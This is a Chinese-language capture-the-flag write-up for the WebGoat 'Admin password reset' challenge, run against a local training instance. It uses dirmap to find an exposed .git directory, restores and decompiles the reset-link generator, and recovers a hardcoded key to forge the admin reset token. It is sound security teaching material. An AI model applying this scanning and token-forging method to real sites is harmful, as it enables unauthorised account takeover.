WebGoat Challenges之Admin password reset

前言

先上几个别人写好的通关策略, 几个对照着看基本能通关

思路

先去github上看了下通关思路基本就下面几步

  1. 遍历网站后台目录, 找到.git目录
  2. 访问并下载git.zip文件
  3. 通过.git历史提交记录还原源码并分析
  4. 找到正确的key并生成重置链接的地址
    在这里插入图片描述

过程

题目让重置admin管理员的密码, 先填个aaaaaa@webgoat.com的地址测试下, 点击Reset Password按钮会往webwolf发一封邮件

webwolf收到邮件后查看重置链接
在这里插入图片描述大概能推测出需要发邮件给 admin@webgoat.com 并且webwolf要能收到admin的重置密码邮件或者推测出admin的reset-password后面那串token


前面的大佬分析网页源码的时候直接发现了题目给的提示

<!--
** Revision history (automatically added by: /challenge/7/.git/hooks)2e29cacb85ce5066b8d011bb9769b666812b2fd9 Updated copyright to 2017ac937c7aab89e042ca32efeb00d4ca08a95b50d6 Removed hardcoded keyf94008f801fceb8833a30fe56a8b26976347edcf First version of WebGoat Cloud website
-->

在这里插入图片描述访问一下这个代码仓库看有没有有用的东西,访问地址:localhost:8080/WebGoat/challenge/7/.git/hooks 提示报错, 嗯… 这就是原题目作者说的git, 可惜找不到
在这里插入图片描述

扫描web目录

这时候使用dirmap扫描下web目录, 安装命令如下

git clone https://github.com/H4ckForJob/dirmap.git && cd dirmap && python3 -m pip install -r requirement.txt

安装完成后修改代码路径下的dirmap.conf 设置下conf.request_header_cookie 参数, 该参数对应访问请求时用的cookie, 可以通过抓包获取
例如:

conf.request_header_cookie = "JSESSIONID=827E4428F2772788D71064C02BCE1405; WEBWOLFSESSION=9DB61B1E0928434835C82F4607D9A244"

最后 执行 python3 dirmap.py -i http://localhost:8080/WebGoat/challenge/7 -lcf 扫描下web目录会获取到.git的路径, 如下

	python3 dirmap.py -i http://localhost:8080/WebGoat/challenge/7  -lcf
    [*] Use crawl mode
    [200][application/octet-stream][28.21kb] http://localhost:8080/WebGoat/challenge/7/.git/                                                                                      
    [200][application/octet-stream][28.21kb] http://localhost:8080/WebGoat/challenge/7/.git 

output目录下也能找到扫描报告


获取git文件

访问http://localhost:8080/WebGoat/challenge/7/.git 下载 .git
在这里插入图片描述下载的文件直接打开会无法识别, 可以通过ultraledit等十六进制工具打开文件,可以看到二进制的信息头, 再通过二进制头识别文件类型, 504B03 对应zip压缩包格式文件
在这里插入图片描述
附:常见文件的文件头标识 原文: https://my.oschina.net/yagerfgcs/blog/701021

255044 PDF 
526563 EML 
D0CF11 PPT 
4D5AEE COM 
E93B03 COM 
4D5A90 EXE 
424D3E BMP 
49492A TIF 
384250 PSD 
C5D0D3 EPS 
0A0501 PCS 
89504E PNG 
060500 RAW 
000002 TGA 
60EA27 ARJ 
526172 RAR 
504B03 ZIP 
495363 CAB 
1F9D8C Z 
524946 WAV 
435753 SWF 
3026B2 WMV 
3026B2 WMA 
2E524D RM 
00000F MOV 
000077 MOV 
000001 MPA 
FFFB50 MP3 
234558 m3u 
3C2144 HTM 
FFFE3C XSL 
3C3F78 XML 
3C3F78 MSC 
4C0000 LNK 
495453 CHM 
805343 scm 
D0CF11 XLS 
31BE00 WRI 
00FFFF MDF 
4D4544 MDS 
5B436C CCD 
00FFFF IMG 
FFFFFF SUB 
17A150 PCB 
2A5052 ECO 
526563 PPC 
000100 DDB 
42494C LDB 
2A7665 SCH 
2A2420 LIB 
434841 FNT 
7B5C72 RTF 
7B5072 GTD 
234445 PRG 
000007 PJT 
202020 BAS 
000002 TAG 
4D5A90 dll 
4D5A90 OCX 
4D5A50 DPL 
3F5F03 HLP 
4D5A90 OLB 
4D5A90 IMM 
4D5A90 IME 
3F5F03 LHP 
C22020 NLS 
5B5769 CPX 
4D5A16 DRV 
5B4144 PBK 
24536F PLL 
4E4553 NES 
87F53E GBC 
00FFFF SMD 
584245 XBE 
005001 XMV 
000100 TTF 
484802 PDG 
000100 TST
414331 dwg 
D0CF11 max

# 另外还有一些重要的文件,没有固定的文件头,如下: 

TXT 没固定文件头定义 
TMP 没固定文件头定义 
INI 没固定文件头定义 
BIN 没固定文件头定义 
DBF 没固定文件头定义 
C 没没固定文件头定义 
CPP 没固定文件头定义 
H 没固定文件头定义 
BAT 没固定文件头定义 

# 还有一些不同的文件有相同的文件头,最典型的就是下面: 

4D5A90 EXE 
4D5A90 dll 
4D5A90 OCX 
4D5A90 OLB 
4D5A90 IMM 
4D5A90 IME

还原代码

解压后会生成一个.git隐藏文件夹,这个就是git代码库了,可以通过它来还原代码对象
执行git status 发现一些文件被删除了, 主要是java编译后生成的class文件

git status
On branch master
Changes not staged for commit:
  (use "git add/rm <file>..." to update what will be committed)
  (use "git restore <file>..." to discard changes in working directory)
        deleted:    Challenge7.html
        deleted:    Challenge_7.adoc
        deleted:    MD5$1.class
        deleted:    MD5$MD5State.class
        deleted:    MD5.class
        deleted:    PasswordResetLink.class

执行git reset --hard HEAD还原代码文件, 之后被删除的文件就还原回来了
之后通过IDEA或者jd-gui 可以直接反编译PasswordResetLink.class 推测代码逻辑, 反编译后代码如下

import java.util.Random;

public class PasswordResetLink {
    public PasswordResetLink() {
    }

    public String createPasswordReset(String var1, String var2) {
        Random var3 = new Random();
        if (var1.equalsIgnoreCase("admin")) {
            var3.setSeed((long)var2.length());
        }

        return scramble(var3, scramble(var3, scramble(var3, MD5.getHashString(var1))));
    }

    public static String scramble(Random var0, String var1) {
        char[] var2 = var1.toCharArray();

        for(int var3 = 0; var3 < var2.length; ++var3) {
            int var4 = var0.nextInt(var2.length);
            char var5 = var2[var3];
            var2[var3] = var2[var4];
            var2[var4] = var5;
        }

        return new String(var2);
    }

    public static void main(String[] var0) {
        if (var0 == null || var0.length != 2) {
            System.out.println("Need a username and key");
            System.exit(1);
        }

        String var1 = var0[0];
        String var2 = var0[1];
        System.out.println("Generation password reset link for " + var1);
        System.out.println("Created password reset link: " + (new PasswordResetLink()).createPasswordReset(var1, var2));
    }
}

需要两个参数, 第一个参数是用户名第二个参数是key
分析源代码org/owasp/webgoat/challenges/challenge7/Assignment7.java 发现用的key是webgoat
在这里插入图片描述

回到之前还原代码的那个目录, 安装准备好java的jdk环境后 在命令框中执行java PasswordResetLink admin webgoat, 然后就能生成token了

    java PasswordResetLink admin webgoat             

    Generation password reset link for admin
    Created password reset link: a081235eff82092a319374c24aaa7574

但是a081235eff82092a319374c24aaa7574这个token是个错误的token,
访问 localhost:8080/WebGoat/challenge/7/reset-password/a081235eff82092a319374c24aaa7574 还是报错
在这里插入图片描述

分析WebGoat的代码发现正确的token是375afe1104f4a487a73823c50a9292a2 这是为啥呢??? 一定是打开的姿势不对
在这里插入图片描述

找到key

偶然间重新回到还原class文件的那个地方执行git log查看提交记录发现有个 Removed hardcoded key的提交信息,突然就找到了新大陆了, 这不就是key不对嘛😂

  git log
  commit 2e29cacb85ce5066b8d011bb9769b666812b2fd9 (HEAD -> master)
  Author: Nanne Baars <nanne.baars@owasp.org>
  Date:   Thu Aug 17 06:41:32 2017 +0200

      Updated copyright to 2017

  commit ac937c7aab89e042ca32efeb00d4ca08a95b50d6
  Author: Nanne Baars <nanne.baars@owasp.org>
  Date:   Thu Aug 17 06:41:09 2017 +0200

      Removed hardcoded key

  commit f94008f801fceb8833a30fe56a8b26976347edcf
  Author: Nanne Baars <nanne.baars@owasp.org>
  Date:   Thu Aug 17 06:40:04 2017 +0200

执行git checkout f94008f801fceb8833a30fe56a8b26976347edcf 把代码还原到包含key的那个版本, 再执行git status发现PasswordResetLink.class被修改过

git status
On branch master
Changes not staged for commit:
  (use "git add <file>..." to update what will be committed)
  (use "git restore <file>..." to discard changes in working directory)
        modified:   Challenge7.html
        modified:   PasswordResetLink.class

用IDEA反编译后发现了key是!!keykeykey!!
在这里插入图片描述执行java PasswordResetLink admin 重新生成token, 注意下自己PasswordResetLink.class用的是哪个版本如果不包含key的话就执行java PasswordResetLink admin !!keykeykey!!

 java PasswordResetLink admin 
 Generation password reset link for admin
Created password reset link: 375afe1104f4a487a73823c50a9292a2

访问 http://localhost:8080/WebGoat/challenge/7/reset-password/375afe1104f4a487a73823c50a9292a2
得到flag 00a2ee26-e759-4e1a-9ea3-f9481a0b906f在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值